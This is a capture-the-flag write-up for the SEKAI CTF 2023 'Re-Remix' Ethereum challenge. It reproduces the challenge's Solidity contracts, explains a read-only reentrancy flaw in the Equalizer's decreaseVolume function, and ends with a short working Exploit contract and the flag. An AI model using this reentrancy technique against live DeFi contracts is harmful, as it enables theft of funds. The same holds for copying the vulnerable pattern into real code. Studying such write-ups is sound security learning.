Skip to content

Latest commit

 

History

History

ProjectSekaiCTF2023

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Project SEKAI CTF 2023 Re-Remix Writeup

Project SEKAI CTF 2023 included three blockchain challenges: two related to Solana and one to Ethereum. I was so busy that I did not have time to tackle the Solana challenges, but I solved the Ethereum challenge titled "Re-Remix" and got first blood.

Writeup

The description of this challenge:

Hmm, it seems a bit difficult for this song to make a high-level chart uwu

How about using a remixed version instead? ✪v✪

nc chals.sekai.team 5000

Author: Y4nhu1

This challenge consists of the following four Solidity contracts:

  • Equalizer
  • FreqBand
  • MusicRemixer
  • SampleEditor

There was no contract named Setup, so I suspected it was not attached, but a quick reading of the codes reveals that the following MusicRemixer contract is the setup contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import {ud, convert} from "@prb/math/UD60x18.sol";

import "./FreqBand.sol";
import "./SampleEditor.sol";
import "./Equalizer.sol";

contract MusicRemixer {
    uint256 private constant INITIAL_VOLUME = 100 ether;
    address private constant SIGNER = 0x886A1C4798d270902E490b488C4431F8870bCDE3;

    SampleEditor public sampleEditor;
    Equalizer public equalizer;

    mapping(bytes => bool) public usedRedemptionCode;

    event FlagCaptured();

    error TooEasy(uint256 level);
    error CodeRedeemed();
    error InvalidCode();

    constructor() payable {
        sampleEditor = new SampleEditor();

        address[3] memory bands;
        bands[0] = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // XDddddDdddDdDdd
        bands[1] = address(new FreqBand("Instrument", "INST"));
        bands[2] = address(new FreqBand("Vocal", "VOCAL"));

        FreqBand(bands[1]).mint(address(this), INITIAL_VOLUME);
        FreqBand(bands[2]).mint(address(this), INITIAL_VOLUME);

        equalizer = new Equalizer(bands);

        uint256[3] memory amounts = [INITIAL_VOLUME, INITIAL_VOLUME, INITIAL_VOLUME];
        IERC20(bands[1]).approve(address(equalizer), amounts[1]);
        IERC20(bands[2]).approve(address(equalizer), amounts[2]);
        equalizer.increaseVolume{value: 100 ether}(amounts);

        uint8 v = 28;
        bytes32 r = hex"1337C0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DE1337";
        bytes32 s = hex"1337C0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DE1337";
        usedRedemptionCode[abi.encodePacked(r, s, v)] = true;
    }

    function getMaterial(bytes memory redemptionCode) external {
        if (usedRedemptionCode[redemptionCode]) {
            revert CodeRedeemed();
        }
        bytes32 hash = ECDSA.toEthSignedMessageHash(abi.encodePacked("Music Remixer Pro Material"));
        if (ECDSA.recover(hash, redemptionCode) != SIGNER) {
            revert InvalidCode();
        }

        usedRedemptionCode[redemptionCode] = true;

        FreqBand(equalizer.bands(1)).mint(msg.sender, 1 ether);
        FreqBand(equalizer.bands(2)).mint(msg.sender, 1 ether);
    }

    function _getComplexity(uint256 n) internal pure returns (uint256 c) {
        bytes memory s = bytes(Strings.toString(n));
        bool[] memory v = new bool[](10);
        for (uint256 i; i < s.length; ++i) {
            v[uint8(s[i]) - 48] = true;
        }
        for (uint256 i; i < 10; ++i) {
            if (v[i]) ++c;
        }
    }

    function getSongLevel() public view returns (uint256) {
        return convert(ud(sampleEditor.region_tempo() * 1e18).log2()) * _getComplexity(equalizer.getGlobalInfo()); // log2(tempo) * complexity
    }

    function finish() external {
        uint256 level = getSongLevel();
        if (level < 30) {
            revert TooEasy(level);
        }
        emit FlagCaptured();
    }
}

Reading this contract, we can see that the goal of this challenge is to call the finish function successfully. As we can see below, sending a successful transaction with the finish function will clear this challenge:

$ nc chals.sekai.team 5000
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
uuid please: 519178ba-d049-491e-bd9e-1ff96a0dd9e5
tx hash that emitted FlagCaptured event please: 

What can we do to successfully call the finish function? To do so, the result of the getSongLevel function must be greater than 30, and the FlagCaptured event must be emitted.

The getSongLevel function is calculated as follows:

function getSongLevel() public view returns (uint256) {
    return convert(ud(sampleEditor.region_tempo() * 1e18).log2()) * _getComplexity(equalizer.getGlobalInfo());  // log2(tempo) * complexity
}

This function uses PaulRBerg/prb-math, a solidity library for fixed-point math. The convert function converts type UD60x18 to type uint256, and ud converts type uint256 to type UD60x18.

We want the result of the getSongLevel function to be greater than 30. An examination of the initial value reveals that it is 10. As noted in the comment // log2(tempo) * complexity, we want to increase either or both values.

  • log2(tempo) (the initial value: 5.9...)
  • complexity (the initial value: 2)

Let's first explore how to increase log2(tempo).

The tempo is the result of sampleEditor.region_tempo(). The SampleEditor contract is the following code:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

contract SampleEditor {
    enum Align {
        None,
        Bars,
        BarsAndBeats
    }

    struct Settings {
        Align align;
        bool flexOn;
    }

    struct Region {
        Settings settings;
        bytes data;
    }

    uint256 public project_tempo = 60;
    uint256 public region_tempo = 60;

    mapping(string => Region[]) public tracks;

    error OvO(); // I'm watching you
    error QaQ();

    constructor() {
        Settings memory ff = Settings({align: Align.None, flexOn: false});
        Region[] storage r = tracks["Rhythmic"];
        r.push(Region({settings: ff, data: bytes("part1")}));
        r.push(Region({settings: ff, data: bytes("part2")}));
        r.push(Region({settings: ff, data: bytes("part3")}));
    }

    function setTempo(uint256 _tempo) external {
        if (_tempo > 233) revert OvO();
        project_tempo = _tempo;
    }

    function adjust() external {
        if (!tracks["Rhythmic"][2].settings.flexOn) {
            revert QaQ();
        }
        region_tempo = project_tempo;
    }

    function updateSettings(uint256 p, uint256 v) external {
        if (p <= 39) revert OvO();
        assembly {
            sstore(p, v)
        }
    }
}

The initial value of region_tempo is 60, and it seems possible to change region_tempo to 233 by using setTempo, adjust, and updateSettings. However, from the following results, it seems that level cannot be larger than 30 even if it is increased to 233.

>>> math.log2(60)
5.906890595608519
>>> math.log2(233)
7.864186144654281

Thus, simply increasing the tempo is not sufficient.

Next, let's find out how much we can increase the complexity.

The _getComplexity function is processed as follows.

    function _getComplexity(uint256 n) internal pure returns (uint256 c) {
        bytes memory s = bytes(Strings.toString(n));
        bool[] memory v = new bool[](10);
        for (uint256 i; i < s.length; ++i) {
            v[uint8(s[i]) - 48] = true;
        }
        for (uint256 i; i < 10; ++i) {
            if (v[i]) ++c;
        }
    }

This function returns how many different chars from 0 to 9 are used for the given number n. For example, 2 is returned if n=10 and 10 if n=1234567890.

Currently, the function returns 2, and if we could increase this more than 5, the level would be 5.9... * 6 = 35.4..., and the flag is captured. The n is equalizer.getGlobalInfo(), and its initial value is 1000000000000000000.

The Equalizer contract is the following code.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";

library LibMath {
    function abs(uint256 x, uint256 y) internal pure returns (uint256) {
        return x >= y ? x - y : y - x;
    }
}

// ref: https://solidity-by-example.org/defi/stable-swap-amm/
contract Equalizer is ReentrancyGuard {
    using SafeERC20 for IERC20;
    using Address for address payable;

    uint256 private constant N = 3;
    uint256 private constant A = 1000 * (N ** (N - 1));

    address[N] public bands; // frequency bands
    uint256[N] public gains;

    uint256 private constant DECIMALS = 18;
    uint256 public totalVolumeGain;
    mapping(address => uint256) public volumeGainOf;

    error NotConverge(string);
    error Invalid(string);

    constructor(address[N] memory _bands) {
        bands = _bands;
    }

    function _mint(address to, uint256 gain) internal {
        volumeGainOf[to] += gain;
        totalVolumeGain += gain;
    }

    function _burn(address from, uint256 gain) internal {
        volumeGainOf[from] -= gain;
        totalVolumeGain -= gain;
    }

    function _getD(uint256[N] memory xp) internal pure returns (uint256) {
        uint256 a = A * N;

        uint256 s;
        for (uint256 i; i < N; ++i) {
            s += xp[i];
        }

        uint256 d = s;
        uint256 d_prev;
        for (uint256 i; i < 255; ++i) {
            uint256 p = d;
            for (uint256 j; j < N; ++j) {
                p = (p * d) / (N * xp[j]);
            }
            d_prev = d;
            d = ((a * s + N * p) * d) / ((a - 1) * d + (N + 1) * p);

            if (LibMath.abs(d, d_prev) <= 1) {
                return d;
            }
        }
        revert NotConverge("D");
    }

    function _getY(uint256 i, uint256 j, uint256 x, uint256[N] memory xp) internal pure returns (uint256) {
        uint256 a = A * N;
        uint256 d = _getD(xp);
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k == i) {
                _x = x;
            } else if (k == j) {
                continue;
            } else {
                _x = xp[k];
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        uint256 y_prev;
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (LibMath.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert NotConverge("Y");
    }

    function getGlobalInfo() external view returns (uint256) {
        uint256 d = _getD(gains);
        uint256 _totalVolumeGain = totalVolumeGain;
        if (_totalVolumeGain > 0) {
            return (d * 10 ** DECIMALS) / _totalVolumeGain;
        }
        return 0;
    }

    /**
     * @param i index of the band to boost
     * @param j index of the band to cut
     * @param dx determines the magnitude of the boost
     * @return dy determines the magnitude of the cut
     */
    function equalize(uint256 i, uint256 j, uint256 dx) external payable nonReentrant returns (uint256 dy) {
        if (i == j) {
            revert Invalid("index");
        }
        if (dx == 0) {
            revert Invalid("dx");
        }

        if (i == 0) {
            if (msg.value != dx) {
                revert Invalid("value");
            }
        } else {
            if (msg.value != 0) {
                revert Invalid("value");
            }
            IERC20(bands[i]).safeTransferFrom(msg.sender, address(this), dx);
        }

        uint256[N] memory xp = gains;
        uint256 x = xp[i] + dx;

        uint256 y0 = xp[j];
        uint256 y1 = _getY(i, j, x, xp);
        dy = y0 - y1 - 1;

        gains[i] += dx;
        gains[j] -= dy;

        if (j == 0) {
            payable(msg.sender).sendValue(dy);
        } else {
            IERC20(bands[j]).safeTransfer(msg.sender, dy);
        }
    }

    function increaseVolume(uint256[N] calldata amounts) external payable nonReentrant returns (uint256 variation) {
        uint256 _totalVolumeGain = totalVolumeGain;
        uint256 d0;
        uint256[N] memory old_xs = gains;
        if (_totalVolumeGain > 0) {
            d0 = _getD(old_xs);
        }

        uint256[N] memory new_xs;
        for (uint256 i; i < N; ++i) {
            uint256 amount = amounts[i];
            if (amount > 0) {
                if (i == 0) {
                    require(msg.value == amount);
                } else {
                    IERC20(bands[i]).safeTransferFrom(msg.sender, address(this), amount);
                }
                new_xs[i] = old_xs[i] + amount;
            } else {
                new_xs[i] = old_xs[i];
            }
        }

        uint256 d1 = _getD(new_xs);
        if (d1 <= d0) {
            revert Invalid("not increase");
        }

        // update
        for (uint256 i; i < N; ++i) {
            gains[i] += amounts[i];
        }

        if (_totalVolumeGain > 0) {
            variation = ((d1 - d0) * _totalVolumeGain) / d0;
        } else {
            variation = d1;
        }
        _mint(msg.sender, variation);
    }

    function decreaseVolume(uint256 variation) external nonReentrant returns (uint256[N] memory amounts) {
        if (variation == 0) {
            revert Invalid("variation");
        }
        uint256 _totalVolumeGain = totalVolumeGain;

        for (uint256 i; i < N; ++i) {
            uint256 amount = (variation * gains[i]) / _totalVolumeGain;
            gains[i] -= amount;
            amounts[i] = amount;

            if (i == 0) {
                payable(msg.sender).sendValue(amount);
            } else {
                IERC20(bands[i]).safeTransfer(msg.sender, amount);
            }
        }

        _burn(msg.sender, variation);
    }
}

Although there are many processes, the following getGlobalInfo function is important:

    function getGlobalInfo() external view returns (uint256) {
        uint256 d = _getD(gains);
        uint256 _totalVolumeGain = totalVolumeGain;
        if (_totalVolumeGain > 0) {
            return (d * 10 ** DECIMALS) / _totalVolumeGain;
        }
        return 0;
    }

The initial value of _getD(gains) is 3e20, and totalVolumeGain is also 3e20. It seems that a small change in either could increase the complexity value.

The gains and totalVolumeGain are changed by the increaseVolume and decreaseVolume functions. However, if we call the increaseVolume and decreaseVolume functions as a trial, we will see that _get(gains) == totalVolumeGain is always true in the usual way. In other words, we have to break this equivalence.

Let's start reading this Equalizer contract carefully.

We can find that the decreaseVolume function does not follow the Checks-Effects-Interactions pattern.

    function decreaseVolume(uint256 variation) external nonReentrant returns (uint256[N] memory amounts) {
        if (variation == 0) {
            revert Invalid("variation");
        }
        uint256 _totalVolumeGain = totalVolumeGain;

        for (uint256 i; i < N; ++i) {
            uint256 amount = (variation * gains[i]) / _totalVolumeGain;
            gains[i] -= amount;
            amounts[i] = amount;

            if (i == 0) {
                payable(msg.sender).sendValue(amount);
            } else {
                IERC20(bands[i]).safeTransfer(msg.sender, amount);
            }
        }

        _burn(msg.sender, variation);
    }

It has a typical Read-Only Reentrancy vulnerability that we often see in Curve Finance and others. When i == 0, an Ether transfer can be received by the fallback function of the attack contract. At that time, the attack contract can call the finish function to cause an inconsistency between gains and totalVolumeGain.

Therefore, the following Exploit contract will get the flag. The msg.value can be any proper value, e.g., 0.5 ether.

contract Exploit {
    MusicRemixer musicRemixer;

    function exploit(address musicRemixerAddr) public payable {
        musicRemixer = MusicRemixer(musicRemixerAddr);
        musicRemixer.equalizer().increaseVolume{value: msg.value}([uint256(msg.value), 0, 0]);
        uint256 volume = musicRemixer.equalizer().volumeGainOf(address(this));
        musicRemixer.equalizer().decreaseVolume(volume);
    }

    receive() external payable {
        musicRemixer.finish();
    }
}

Flag: SEKAI{T0o_H4rd_4_M3_2_p1aY_uwu_13ack_7o_Exp3rt_l3v3l}

After all, there is no need to change the tempo.